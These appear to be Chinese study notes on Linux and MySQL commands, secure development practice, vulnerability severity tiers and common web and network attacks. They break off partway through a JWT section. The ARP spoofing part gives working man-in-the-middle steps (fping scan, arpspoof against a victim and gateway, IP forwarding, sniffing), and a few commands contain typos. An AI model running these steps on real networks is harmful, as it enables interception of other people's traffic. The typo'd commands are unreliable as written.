useradd 用户名 -s /sbin/nklogin -M
创建用户且不允许登录
用于给应用软件运行提供用户
删除用户
userdel +用户名
默认不删除家目录
userdel -r +用户名
同时删除家目录
工件中一般 `vim /etc/passwd` 在对应的用户行前边加
修改用户
usermod +用户名
usermod +用户名 -s /bin/bash
修改解释器为/bin/bash
usermod +用户名 -u UID
修改用户UID
修改密码
echo 密码 |passwd --stdin 用户名
修改指定用户的密码
passwd 用户名
需要root权限 / 或修改当前用户的密码
切换用户
su -【空格】用户名
使用管理员权限执行
sudo+命令
管理用户权限
visudo
然后100gg yy p 修改权限范围 命令的全路径
系统控制
关机(默认1分钟后关机)
shutdown
-c
取消关机
-h n
在n分钟后进行关机
-now
立刻关机
-r n
reboot 重启 默认1分钟后重启 n 分钟后重启
halt
poweroff
init 0
重启
reboot
shutdown-r now
init 6
编辑类
批量操作
命令后+ 文件名/文件夹名{1..n}
对 文件名/文件夹名{1..n} 执行命令
删除
rm+文件名
询问后删除文件
rm -f + 文件名
强制删除(不再询问)
rm -fr A*
删除以 A开头的所有目录
慎用慎用慎用 尽量使用` mv 文件 /tep` 代替 如果*之前的路径不存在,可能会直接删除根目录
rm -r +目录
询问后删除目录
rm -rf 目录
强调删除目录
创建文件/文件夹
touch
touch + A B C
创建文件A 文件B 文件C
touch + .A
创建隐藏文件 .A
touch -c + A
避免强制创建文件A(可用于更改该文件的访问和修改时间)
touch -a + A
修改文件A的访问时间为当前
touch -m +A
修改文件A的修改时间为当前
mkdir
mkdir + A
创建文件夹A
mkdir + A{1..n} 注意此处只有两个点
创建文件夹A1、A2...An
mkdir + A/B/C/D -p
创建递归文件夹 A/B/C/D
执行文件
./文件名
执行文件(. 代表执行 / 代表当前目录
更改文件属性
chown
chown -R 用户 文件
更改文件对应的用户
chown 用户.用户组 文件
更改文件对应的用户和组
chown . 用户组 文件
更改文件对应的用户组
点号可以用冒号替代
更改目录
cd(change directory)
cd + A
更改到目录A
cd ~
更改到用户的家目录
cd -
更改到上一次所在的目录
cd .
更改到当前目录
cd ..
更改到上一级目录
cd ../..
更改到上一级的上一级目录
复制文件或目录
cp + a + 目录A
复制 文件a 到目录A
cp +a + b
复制 文件a 并更名为 文件b
cp -r/-a (a 的功能大于 r)
复制目录并保持属性
cp -t 目的地 源文件
对调源文件和目的地的位置
移动文件或目录
mv + 源 + 目录
移动 源文件 到目标目录
mv + 源 + 文件名
为源文件更名
写入文本到指定文件
echo 文本 >>文件名
在文件末尾继续写入
echo 文本 >文件名
删除该文件之前的内容,并写入新的文本
输入数字序列到指定文件
seq n >文件名
输入1-n 的数列到指定文本,每行一个数字
分组
xargs -n N <文件名
将文件中的内容按N个一组的方式进行分组
文件权限更改
chmod
分区
权限
对象
u (user)
r 读
文件
可读
目录
可以浏览目录下的文件
g (group)
w 写
文件
可写
目录
创建/删除文件
o (other)
x 执行
文件
可执行
目录
决定能否进入目录
- 无
修改
+ 增加权限
- 减少权限
= 将权限改为
-R
递归修改
递归修改目录下目录和文件
详见typora
打包压缩
tar
tar zcvf 存放路径+压缩包的名字.tar.gz 要打包的文件路径
打包
tar zxvf 要解压的文件路径+文件名.tar.gz
解压
tar zxvf 要解压的文件路径+文件名.tar.gz -C 要存放的路径
解压到指定位置
tar zcvf 存放路径+文件名_$(date +%F).tar.gz_ 要打包的文件路径
组合打包 (给打包的文件名加上日期 方便查看备份时间)
tar tf
查看
unzip 文件(名/路径)
解压windows下载的 .zip文件
-O
不提示解压 会覆盖
gzip
gzip 文件名
只能打包文件,同时会删除原文件
gzip -d 文件名
只能解压文件,同时会删除原文件
MySQL常用命令
图形化数据库工具
Navicat
库级操作
连接MySQL数据库
mysql -uusername -ppassword -hlocalhost
username 表示用户名
password 表示对应的密码
localhost 表示要连接的主机
创建数据库
CREATE DATABASE test_db;
test_db 表示创建的数据库名称
删除数据库
DROP DATABASE test_db;
选择数据库
USE test_db;
查询所有数据库
SHOW databases;
显示所有数据库
表级操作
创建表
CREATE TABLE employee ( id INT PRIMARY KEY, name VARCHAR(50), age INT, department VARCHAR(50) );
employee 表示创建的表名
id/name/age/department 表示字段名
后边的属性表示了该字段的属性
INT PRIMARY KEY 表示是这个表的主键
主键是用来标识表中每行数据的字段,他应该是唯一且非空的
VARCHAR(50)
表示可变长度字符型,最长是50个字符
INT
表整数类型,可以存储带符号的32位整数,从-2,147,483,648到2,147,483,647
删除表
DROP TABLE employee;
插入数据
INSERT INTO employee (id, name, age, department) VALUES (1, 'John Smith', 30, 'Sales');
(id, name, age, department)
表示后边要插入的值的所属字段
(1, 'John Smith', 30, 'Sales')
表示每个字段对应的值
更新数据
UPDATE employee SET name = 'John Doe', age = 32 WHERE id = 1;
employee 表示要更新的表名
SET 后边跟要更新的具体字段和对应的值
WHERE 后边跟更新对应的主键值
显示所有表
SHOW tables;
查询数据
查询表中的所有数据
SELECT * FROM employee;
* 表示要查询所有数据
employee 表示要查询的表名
对查询结果进行排序
SELECT * FROM employee ORDER BY age DESC;
ORDER BY 表示按照 age 字段进行排序
DESC 表示降序
ASC 表示升序
分组数据
SELECT department, COUNT(*) AS employee_count FROM employee GROUP BY department;
COUNT(*) 表示计算行数,即每个部门的所有人数
AS 关键字用于给COUNT(*)函数计算出的结果起一个别名,名称为employee_count,这样结果就会包含 depertment 和 employee_count 两列
FROM 指定数据来自那个表
GROUP BY 关键字用于按指定字段进行分组
查询结果示例
+------------- +---------------------+ | department | employee_count | +------------- +---------------------+ | Sales | 10 | | Marketing | 8 | | Engineering | 15 | | HR | 6 | +------------- +---------------------+
对查询结果进行过滤
SELECT * FROM employee WHERE department = 'Sales';
employee 表示要过滤的表
department = 'Sales' 表示只显示 department 字段中值为 Sales 的数据
连接多个表
SELECT * FROM employee JOIN department ON employee.department_id = department.id;
JOIN 表示要将 employee 和 department 这两个表联合起来
employee.department_id = department.id 表示通过这两个值相等都得条件连接这两个表
查询结果示例
id name age gender department_id id department_name 1 Alice 23 Female 1 1 Sales 2 Bob 28 Male 2 2 Marketing 3 Charles 31 Male 2 2 Marketing 4 David 25 Male 3 3 Engineering 5 Emma 27 Female 3 3 Engineering 6 Frank 33 Male 3 3 Engineering
创建索引
CREATE INDEX age_index ON employee (age);
age_index 表示索引名称
employee 代表您要创建索引的表名称
age 根据字段 age 来创建索引,以加速数据检索
CREATE INDEX 可以通过创建索引提高数据检索的速度,从而使查询更加快速和有效。
在实际使用中,如果某个表中的数据量较大,并且该表经常被用来执行查询操作,那么为该表的某些字段(如age)添加索引,将会提高数据检索的效率
索引的使用
当查询条件中包含了索引列时,MySQL将会自动选择使用该索引进行优化,而你要只需要正常的执行 Select 命令即可
如果你的employee表上添加了age_index索引,那么你可以使用以下SELECT语句来查询年龄大于25岁的员工。执行这个查询时,MySQL会使用age_index索引快速定位所有年龄大于25岁的员工的位置,然后返回结果
SELECT * FROM employee WHERE age > 25;
子主题 2
除了使用SELECT语句之外,还可以在INSERT、UPDATE和DELETE语句中使用索引进行优化。例如,如果要更新employee表中的某一行数据,可以使用以下语句
UPDATE employee SET age = 30 WHERE id = 1;
数据导入导出
导出数据
mysqldump -uusername -ppassword test_db > backup.sql
test_db 表示要导出那个表的数据
backup.sql 表示保存到那个文件
导入数据
LOAD DATA INFILE 'data.txt' INTO TABLE employee;
employee 代表你要导入到数据库的哪个表里
data.txt 表示数据来源与那个文件
理论知识
SDL(软件开发生命周期模型)
微软 SDL
培训
核心安全培训
包括 开发、测试、项目经理、产品经理
覆盖安全设计、威胁建模、安全编码、安全测试、隐私等
要求
确定安全需求
确认项目计划和里程碑
里程碑通常指的是在软件开发过程中关键性的阶段,用于表示团队达到的重要进展。它们通常与时间、质量和成本等方面的目标相关联,标志着一项大型工作或任务的成功完成
里程碑可能包括需求分析、设计文档编写、编码阶段、测试、集成、客户验收等等。通常,在每一个里程碑之后,会有会议或审查会议来确定接下来的活动以及适当地更新项目计划和成本预算
避免因安全问题导致项目延期发布
创建Bug栏
确定安全和隐私质量的最低可接受级别,bug栏一经设定就不能放松 例如:程序发布时,不得包含 中高危的已知漏洞
安全和隐私风险评估
安全风险评估(SRA) 和 隐私风险评估(PRA)
项目的哪些部分在发布前需要威胁模型
哪些部分在发布前需要进行安全设计评析
哪些部分需要由不属于项目团队且双方认可的小组进行渗透测试
是否存在安全顾问认为有必要增加的测试
模糊测试要求的具体范围是什么
隐私影响评级如何
设计
确定设计要求
在项目初期确定好安全需求,尽可能避免安全引起的需求变更
分析攻击面
关闭或限制对系统服务的访问
应用"最小权限原则",以及尽可能的进行分层防御
威胁建模
明确可能来自的攻击有哪些方面 比如微软提出的 STRIDE 模型来帮助建立威胁模型
实施
使用批准的工具
开发团队使用的编译器、链接器等工具可能会设计一些安全相关的环节,因此需要提前与安全团队进行沟通
测试人员使用的工具也可能带有后门或病毒,所以也要使用指定的工具
弃用不安全的函数
禁用不安全的函数或API
静态分析
使用设备辅助完成,其结果与人工分析相结合
验证
动态分析
用于测试环节验证程序的安全性
模糊测试(Fuzzing test)
通过故意向应用程序引入不良格式或随机数据诱发程序故障,安全测试可能需要进行额外的模糊测试,或者扩大模糊测试的范围和增加持续时间
攻击面评析
随着项目的进行,可能会因为需求变更等因素导致最终的产出偏离原本设定的目标,因此在项目后期重新进行攻击面分析是有必要的
发布
事件响应计划
即使在产品发布时不含任何已知漏洞,也可能在日后面临新出现的威胁,所以需要在发布时包含事件响应计划。如果产品中包含第三方代码,也需要留下第三方的联系方式,以便发生问题的时候可以找到对的人咨询
最终安全评析(FSR)
通过 FSR
即FSR 过程中的所有安全问题和隐私问题都已得到修复或缓解
通过FSR但有异常
无法解决的问题都记录下来,并在下次发布时更正
需要上报问题的FSR
团队未能完成所有SDL要求,并且安全顾问和产品团队无法达成可接受的折中方案,则安全顾问不能批准项目发布,则项目团队必须在发布前解决问题,或上报高级管理层进行抉择
发布文档
产品发布的同时仍需对各类问题和文档进行存档,为紧急响应和产品升级提供帮助
响应
执行时间响应计划
IT项目管理的七个阶段
启动阶段
需求获取
项目定义
项目章程制定
项目团队组建
采购阶段
方案征集
招标
合同签署
供应商入场
需求阶段
需求分析
需求评审
WBS制定
制定工作分解结构,并明确人员、工作量
项目计划制定
开发阶段
系统详细设计
技术方案评审
编码/单元测试
代码评审
测试案例评审
部署准备
SIT阶段
SIT(系统集成测试)
性能测试
安全测试
缺陷修复
代码评审
UAT阶段
用户测试
组织业务部门进行用户验收测试
交付阶段
上线发布
用户生产验证
组织业务部门在系统上线后进行生产功能及实际业务运行的确认
项目总结会
实战经验准则
准则一
与项目经理进行充分沟通,排出足够的时间
明确什么阶段安全工程师介入
需要多少时间完成安全工作
开发团队需要多少时间修复漏洞或完成安全功能
准则二
规范公司的立项流程,确保所有项目都能通知到安全团队
集中管理立项过程,确保安全团队在这一过程就能介入,避免遗漏的同时,相较于在测试阶段和发布阶段安全团队再介入,会留给开发团队更充足的反应时间
准则三
树立安全部门的权威,项目必须由安全部门审核完成后才能发布
必须通过规范和制度,明确要求所有项目必须通过安全审核才能发布。如果没有这样的权限,对于项目组来说,安全就变成了一种可有可无的东西。如果产品急着发布,就可能因此砍掉或降低安全需求,从而导致风险升高。’
当然也不是说这句话就这么绝对,当业务压力确实大的时候,可以考虑事后修补,或者使用临时方案应对紧急情况。因为安全最终是为了业务服务的。
准则四
将技术方案写入开发、测试的工作手册
开发
与其在事后通过代码审计或者渗透测试的方式告诉开发者代码存在问题,不如在一开始就将安全技术方案写入开发的代码规范中。比如规定好哪些函数、哪些危险版本的框架是禁止使用的。
毕竟记住代码规范的要求要比记住复杂的安全原理要简单的多,在开发团队的内部代码审计中也可以通过设备来快速的检查是否符合规范
测试
对于测试来说,可以在测试工作手册中加入诸如测试方法、预期结果、修复建议等,明确每个用例第一步应该怎么做、第二部应该怎么做,避免因人员水平的不同造成漏测的情况
准则五
给工程师培训安全方案
在微软的 SDL 框架中,第一项就是培训,可见它的重要。 它的作用是在项目开发之前,能够使开发者们知道如何写出安全的代码,从而节省开发成本,减少后期因为没有培训出现的大量bug,毕竟每个bug的修复都需要消耗额外的开发时间
准则六
记录所有的安全Bug,激励程序员写安全的代码
记录bug一方面可以明确的跟踪bug的修复状态,另外还能当作案例减少后期的培训教材
漏洞报告包括什么
前言和介绍
包括渗透测试目的、过程、范围、方法和技术,以及测试期间所用到的工具。
测试概况和结果总结
说明渗透测试的总体情况和结果,包括测试时间、测试项目数量和测试完成情况等信息,并提供测试发现的漏洞总数和类型统计数据。
漏洞详细报告
提供每个漏洞的详细信息,包括其严重性、所需修复的工作量、风险分析和解决方案等信息。
测试过程记录和截图
描述整个测试过程中的方法、技巧和步骤,同时提供测试结果的截图和日志记录,这些可以证明测试的可靠性和准确性。
风险评估和建议
根据漏洞的危害程度,提供网络安全风险评估和相关建议,包括风险控制策略、安全意识教育培训、更新补丁程序等方案。
附录和参考文献
提供测试所使用的工具资料、技术白皮书和安全规范等参考资料,并包括所有相关文件和截图的PDF文档。
漏洞分级
国内
高危
简介
高危漏洞是指可远程利用并能直接获取系统权限(服务器端权限、客户端权限)或者能够导致严重级别的信息泄漏(泄漏大量用户信息或学校机密信息)的漏洞
包括
命令注入
远程命令执行
文件上传
可获取webshell
SQL注入
反序列化
XML外部实体注入漏洞(XXE)
未授权
未授权访问管理后台
未授权访问核心业务
越权
垂直越权
Session劫持和Cookie欺骗漏洞
身份认证及授权漏洞
核心业务后台存在弱口令
中危
简介
中危漏洞指可能导致系统曝露一定敏感信息或被攻击者利用一定限制范围的漏洞类型
包括
XSS
存储型
SSRF
中高危都可以
CSRF
越权
水平越权
文件包含漏洞
文件包含漏洞通常指应用程序中使用用户可控数据(如请求参数)加载外部文件时未经充分过滤而导致的漏洞。攻击者可以利用该漏洞通过构造出特定的请求来读取或执行服务器上的其他文件,并进一步实现攻击。常见的文件包含漏洞包括本地文件包含漏洞和远程文件包含漏洞。这种漏洞的危害较高,对系统安全带来严重威胁。
密码加密弱漏洞
数据库信息泄露漏洞
介绍
数据库信息泄露指未经授权的情况下将数据库数据暴露给第三方,属于一种安全漏洞。该漏洞的出现通常是由于数据库在配置或编码上存在问题,从而开放了攻击者获取敏感数据(如用户名、密码、信用卡号、身份证号等)的途径
常见的数据库泄漏漏洞包括
SQL 注入
攻击者利用未过滤、验证用户输入、错误使用预处理语句等SQL注入方式传入恶意代码,以欺骗数据库服务器执行任意SQL语句,从而访问敏感数据。
文件读取漏洞
攻击者利用相对路径目录遍历漏洞来访问服务器上存储的任何文件(如配置文件、加密数据、密码等),最终获得造成危害的敏感信息。
未加密传输
数据库中的敏感数据通过未加密网络传输难度较低被黑客截获,例如在公共无线网络上进行连接和传输。
不当配置
数据库管理人员在配置数据库时也可能出现错误,例如绑定 IP 地址不当、不设置密码或访问限制、权限分配不当等。
低危
简介
低危漏洞指不会明显影响系统安全性或可被较为容易地识别和修复的漏洞类型
包括
XSS
反射型
DOM型
任意文件下载
任意文件下载漏洞通常是指攻击者可以通过服务器上的某些应用程序或Web界面获取和下载任意文件,这些文件可能包含敏感信息,如密码、信用卡号等。 虽然这种漏洞存在一定的风险,但相对其他高危漏洞(如SQL注入、命令执行)而言,其影响范围和后果较小,因此通常被分类为低危漏洞
路径遍历漏洞
报错信息泄露漏洞
HTTP响应拆分漏洞(CRLF)
介绍
HTTP响应拆分漏洞是一种网络安全漏洞,由于Web服务器解释了CR(回车)和LF(换行),因此攻击者可以在HTTP消息中使用一个恶意的CR/LF序列注入另一个HTTP头,从而使服务器错误地处理HTTP响应。 这个漏洞的目标通常是发动跨站脚本攻击(XSS),但也可能导致一些其他类型的攻击。
攻击者可以通过设计包含恶意字符的特制GET或POST请求来利用该漏洞。如果目标服务器对用户请求进行了过滤,并拒绝任何带有未经检查的CR/LF字符的请求,攻击者仍然可以在此类请求中塞入额外的CR/LF字符。这种方式可以让攻击者将自己的Payload插入位于HTTP响应头与响应体之间的空隙处,并成功向客户端返回一个响应。
目标
攻击者利用HTTP响应拆分漏洞的最终目的是在受害者浏览器中植入恶意JavaScript代码或执行其他攻击载荷,比如提取敏感资料,窃取会话Cookie等。
SVN 信息泄露
敏感信息泄露
系统配置错误
介绍
系统配置错误漏洞指的是由于系统管理员或开发人员在操作系统、应用程序或网络设备的配置上存在错误,导致系统遭受攻击的安全漏洞
常见形式的系统配置错误包括
开启不必要的服务和端口
如果某些服务或端口没有被正确关闭或禁用,攻击者可以利用它们对系统进行攻击,并获得未经授权的访问机会。
不正确地设置访问权限
如果文件、目录、资源和应用程序的访问权限不正确,攻击者就可能利用这种漏洞通过非法手段截取数据并窃取敏感信息。
错误配置身份验证和授权
如果账户和密码并没有像预期的那样限制权限,或是使用了弱口令,攻击者可以通过破解来获取权限。
不正确的加密和哈希算法
如果采用不够强大的加密算法保护重要数据或密码,则被攻击者可以很容易地突破加密算法来获得敏感信息或账户凭据。
错误的日志管理
如果日志配置不当,攻击者就可以利用记录系統日志的格式或时间戳等信息,来寻找其它资料从而设计进一步攻击方案。
国外 bugcrowd
以下内容结构
漏洞类型
漏洞名
影响方式
P1
Server Security Misconfiguration
Using Default Credentials(凭证)
Server-Side Injection(服务端注入)
File Inclusion
Local
Remote Code Execution(RCE)
SQL Injection
XML External Entity Injection(XXE)
Broken Authentication and Session Management 损坏的身份验证和会话管理
Authentication Bypass(身份验证绕过)
Sensitive Data Exposure 敏感数据暴露
Disclosure Secrets (泄密)
For Publicly Accessible Asset(可公开访问的资产)
Insecure OS/Firmware 不安全的操作系统/固件
Command Injection (命令注入)
Hardcoded Password (硬编码密码)
Privileged User(特权用户)
Broken Cryptography 破解密码
Cryptographic Flaw (密码学缺陷)
Incorrect Usage(错误用法)
P2
Server Security Misconfiguration 服务器安全配置错误
Misconfiguration DNS (DNS 配置错误)
High Impact Subdomain Takeover 高影响力子域接管
OAuth Misconfiguration
Account Takeover 账户接管
Sensitive Data Exposure 敏感数据泄漏
Weak Password Reset Implementation 弱密码重置实施
Token Leakage via Host Header Poisoning 主机头中毒导致令牌泄漏
Cross-Site Scripting(XSS)
Stored
Non-Privileged User to Anyone 非特权用户的所有用户
Broken Access Control(BAC) 损坏的访问控制
Server_Side Request Forgery(SSRF)
Internal High Impact 内部高影响
Cross-Site Request Forgery(CSRF)
Application-Wide(应用范围)
Application-Level Denial-Of-Service 应用程序级拒绝服务
Critical Impact and/or Easy Difficulty 关键影响或低使用难度
Insecure OS/Firmware 不安全的操作系统/固件
Hardcoded Password
Non-privileged User 非特权用户
P3
Server Security Misconfiguration
Misconfiguration DNS
Basic Subdomain Takeover 基础子域接管
Mail Server Misconfiguration
No Spoofing Protection On Email domain 电子邮件域没有欺骗保护
Server-side Injection
HTTP Response Manipulation HTTP响应操作
Response Splitting(CRLF)
Content Spoofing 内容欺骗
iframe Injection iframe注入
Broken Authentication and Session Management
Second Factor Authentication(2FA) Bypass
子主题 1
Session Fixation 会话固定
Remote Attack Vector 远程攻击向量
Sensitive Data Exposure 敏感数据暴露
Disclosure of Secrets 泄密
For Internal Asset 对于内部资产
EXIF Geolocation Data Not Stripped From Uploaded Images EXIF 地理位置数据未从上传的图像上删除
Automatic User Enumeration 自动用户枚举
Cross-Site Scripting(XSS)
Stored
Privileged User to Privilege Elevation 通过特权用户实现特权提升
就是这个XSS可以获得管理员的COOKIE
Stored
CSRF/URL -Based 基于CSRF或URL
Reflected
Non-Self 不是作用于自己的
Broken Access Control(BAC) 损坏的访问控制
Server-Side Request Forgery(SSRF)
Internal Scan and/or Medium Impact 内部扫描或中度影响
Application-Level Denial-of-Service 应用程序级拒绝访问(DOS)
High Impact and/or Medium Difficulty 高影响的或中等使用难度的
P4
Server Security Misconfiguration
Misconfiguration DNS
Zone Transfer 域传送
Mail Server Misconfiguration
Email Spoofing to Inbox due to Missing or Misconfigured DMARC on Email Domain 由于电子邮件域上的 DMARC 丢失或配置错误导致电子邮件欺骗收件箱
Database Management System(DBMS) Misconfiguration 数据库管理系统配置错误
Excessively privileged User/DBA 过度的特权用户/DBA
Lack of Password Confirmation 缺少密码确认
Delete Account
指在删除用户的时候不需要输入密码 可能在用户已登录的页面上,被其他人恶意删除账户
No Rate Limiting on From 表单提交无速率限制
Registration
Login
Email-Triggering 邮件触发(邮件轰炸)
SMS-Triggering 短信触发(短信轰炸)
Missing Secure or HTTPOnly Cookie Flag 缺少安全或 HTTPOnly Cookie 标志
Session Taken 会话令牌
ClickJacking 点击劫持
Sensitive Click-based Action 基于点击的敏感操作
OAuth Misconfiguration
Account Squatting 账号抢注
在基于OAuth的帐户注册过程中,OAuth授权流为电子邮件地址创建一个新帐户,并通过OAuth令牌授予访问权限,而无需检查同一电子邮件地址是否存在预先存在的帐户。 这使得攻击者可以使用合法的电子邮件注册帐户并“抢注”该帐户。 当合法用户使用OAuth工作流使用其电子邮件地址创建帐户时,他们会在不知不觉中登录到攻击者创建的原始帐户。这意味着攻击者仍然可以访问该帐户
CAPTCHA 验证码
Implementation Vulnerability 实施漏洞
也就是验证码绕过,国外似乎使用工具识别的绕过也是收的
Lack of Security Headers
Cache - control for a Sensitive Page 敏感页面的缓存控制
Web Application Firewall(WAF) Bypass
Direct Server Access 直接访问服务
Server-Side Injection
Content Spoofing
Impersonation via Broken Link Hijacking
External Authentication Injection
Email HTML Injection
意义不明的漏洞,似乎和伪装原有站点有关,不会利用和验证,没明白
Server-Side Template Injection(SSTI) 服务器端模板注入
Basic
Broken Authentication and Session Management
Cleartext Transmission of Session Token
Weak Login Function 弱登陆功能
Other Plaintext Protocol with no Secure Alternative 没有安全替代方案的其他明文协议
指在没有任何安全替代方案或加密方法的情况下以明文传输数据的通信协议。这意味着通过协议发送的所有信息都是暴露的,攻击者可以很容易地拦截和读取这些信息
Over HTTP 使用HTTP协议
Failure to Invalidate Session 未能使会话失效
On Logout (Client and Server-Side) 在客户端和服务端注销
只用户点击登出后原有会话仍然可用
On Password Reset and/or Change
指重置密码之后原有的发到你邮箱的修改密码连接没有失效
Weak Registration Implementation 弱注册实现
Over HTTP 使用HTTP协议
Sensitive Data Exposure
Disclosure of Secrets 泄密
Pay-Per-Use Abuse 按次付费滥用
就是对于一些付费的API泄露了,比如FOFA那种的
EXIF Geolocation Data Not Stripped From Uploaded Images EXIF 地理位置数据未从上传的图像中删除
Manual User Enumeration 手动用户枚举
Visible Detailed Error/Debug Page 可见详细的错误或调试页
Detailed Server Configuration 详细的服务器配置
Token Leakage via Referer 通过Referer 泄露的 token
Untrusted 3rd Party 不受信任的第三方
意思就是不能再 referer 里放敏感信息???
Over HTTP 使用HTTP协议
Sensitive Token in URL
User Facing 面向用户
Weak Password Reset Implementation
Password Reset Token Sent Over Http 密码重置令牌通过HTTP发送
Via localStorage/sessionStorage 通过本地存储/会话存储
Sensitive Token 敏感令牌
Cross-Site Scripting (XSS)
Stored
Privileged User to No Privilege Elevation
意思是这个存储型XSS不会获得管理员的COOKIE
IE-Only 仅IE浏览器
IE11
Referer
意思是 referer 上可以附加XSS payload
Universal (UXSS) 通用
Off-Domain 域外
Data URI
在URI上可以附加 XSS payload
Broken Access Control (BAC)
Server-Side Request Forgery (SSRF)
External 外部的
Username/Email Enumeration
Non-Brute Force 非暴力破解
就像是敏感信息泄露,通过社工、公开可用信息、应用程序错误信息、API滥用,等方法获取用户名和邮箱地址
Unvalidated Redirects and Forwards 未验证的重定向和转发
Open Redirect 开放重定向
GET-Based 基于GET请求
Insufficient Security Configurability 安全配置不足
No Password Policy
无密码政策
Weak Password Reset Implementation 弱密码重置实施
Token is Not Invalidated After Use token使用后未失效
Weak 2FA Implementation
2FA Secret Cannot be Rotated 2FA密钥不能轮换
意思是用户使用2FA令牌之后,这个令牌不会更改,是固定的
2FA Secret Remains Obtainable After 2FA is Enabled 2FA启用后仍可获得2FA
Insecure Data Storage 不安全的数据存储
Sensitive Application Data Stored Unencrypted 未加密存储敏感应用程序数据
On External Storage 关于外部存储
Server-Side Credentials Storage 服务端凭证存储
Plaintext
Insecure Data Transport 不安全的数据传输
Executable Download 可执行下载
No Secure integrity Check 没有安全完整性检查
Privacy Concerns 隐私问题
Unnecessary Data Collection 不必要的数据收集
WiFi SSID + Password
WiFi SSID是标识特定无线网络的唯一名称。简单地说,它是您连接到的Wi-Fi网络的名称。
P5
不给钱,太多了,懒得写了
网络通讯
其他漏洞
ARP欺骗
ARP协议简介
(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。 地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存; 由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。 ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。
漏洞详情
基于ARP协议的网络通信机制,通信双方都需要知道对方的MAC地址才能正常通信。 ARP欺骗利用这一机制,伪造源MAC地址和IP地址,给其他主机发送虚假的ARP应答包,这样网络中的其他设备将数据包发送到攻击者指定的IP地址时,数据包就会被截获,从而引发流量劫持、窃听、拦截和中间人攻击等安全问题
中间人攻击就是,在ARP欺骗受害主机将流量发送到攻击者主机上,然后由攻击者主机再将流量转发出去,从而获得受害主机与其他网站传输的信息
漏洞利用
1. fping -asg 192.168.56.0/24
扫描指定网段的主机,确定攻击目标
2. arpspoof -i 网卡 -t 受害IP 网关
-i 指定网络接口,即通过哪个网卡进行ARP攻击
-t 受害IP :指定受害主机,将它的流量重定向到攻击机
网关IP :指定网关IP,即将来自受害者的流量转发到这个网关
3. 此时对方会断网,因为转发还未设置,通过以下命令实现流量转发 echo 1>/proc/sys/net/ipv4/ip_forward
4. 然后就可以通过 wireshark 查看受害主机的网络通信
防御措施
使用静态ARP表:在网络中手动添加ARP条目;
使用端口安全(Port Security):将网络接口绑定到特定的MAC地址,避免攻击者插入非法设备;
使用 VPN(Virtual Private Network):加密数据通信,避免数据被攻击者嗅探。
使用互联网防火墙:限制网络的出口流量,以减少攻击者能够的活动空间。
DDOS攻击
简介
DDoS攻击的本质是通过发起大量的请求占用目标服务器或网络的资源,使其无法正常运行
原理
1. 攻击者通过软件漏洞、社会工程学等方式植入恶意代码(例如木马)到互联网上的多台计算机或设备中,这些计算机或设备才被称为“僵尸”或“肉鸡”; 2. 攻击者将这些被感染的计算机或设备组成一个“僵尸网络”,通常也称之为“屠龙工具包”或“僵尸群集”; 3. 一旦攻击者想要发起DDoS攻击,他们会控制“僵尸网络”中的每个计算机或设备,让它们同时向目标服务器或网络发送大量数据包。这些数据包可能是特定类型的请求,例如HTTP GET请求,或是仅带有大量无效数据的数据包; 4. 目标服务器或网络收到了大量来自不同IP地址(因为“僵尸网络”中的计算机或设备都有不同的IP)的请求,它无法正常处理这些请求,导致网络瘫痪。 5. 在实施DDoS攻击的期间,攻击者通常会尝试多种不同的攻击方式和方法,以增加攻击效果。
防御方法
首先是考虑能不能先去引流,就是把流量先引到阿里云、百度云这些厂商,先把流量过一遍再引回到自己这里
1.使用DDoS防护软件或服务:这些软件或服务通常会检测和过滤掉袭击者发送的恶意流量,并仅将有效数据包传递到目标服务器或网络。
2.提高网络安全性:建立坚固的防火墙和入侵检测系统(IDS)来限制未经授权的访问和监视网络上的异常行为;
3.升级硬件、软件和固件:确保您的网络和系统硬件、软件和固件有更新和最新版本;
4.配置合适的网络带宽:增加可用的网络带宽可分散恶意流量,并缓解DDoS攻击的影响;
5.控制能够访问网络的设备:通过限制对网络的物理接入并实施更强的身份验证来限制差旅设备;
6.培训员工: 支持管理人员和员工了解常见的网络钓鱼、社交工程学和其他类型的网络攻击以及如何避免他们;
JWT 漏洞
JWT 简介
JWT(JSON Web Token) 是WEB上用于确认客户端和服务端用户身份认证的token令牌,保存了用户的登录信息。用户登录,由服务端用加密算法对JWT进行签发,前端发送带有用户信息的JWT由服务端校验(用户名、失效等信息),并将令牌保存在前端本地
令牌采用 base64 编码,并由三部分组成,分别使用 "." 分隔
展开可见示例
encode
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
decode
{ "alg": "HS256", "typ": "JWT" }
头部(header)
{ "sub": "1234567890", "name": "John Doe", "iat": 1516239022 }
声明(payload)
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), your-256-bit-secret )
签名(signature)
头部(Header)
JWT元数据的JSON对象
"alg":"HS256", # 签名使用的算法
"typ":"JWT" # token的类型为JWT
声明(payload)
主体内容部分,跟H5 body一样,不过JWT默认只有七个参数,根据实际需要自行填写
iss:JWT签发人
exp:用户认证的失效时间(大于签发时间)
sub:主题
aud:用户
nbf:定义此时间之前,该JWT不可用
iat:JWT 签发时间
jti:JWT ID身份标识
签名(signature)
签名是对上面两部分做哈希数据签名(指定算法),来确保数据不会被篡改,保证数据的完整性校验。 需要使用base64编码后的header和payload数据。此部分保存在服务端。
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), miyao # 密钥值
"在HTTP传输过程中,Base64编码中的"=","+","/“等特殊符号通过URL解码通常容易产生歧义,在Base64 URL编码中,”+“会变成”-","/“会变成”_","="会被去掉,以此达到url safe的目的
JWT 支持的加密算法有
HMAC
见过
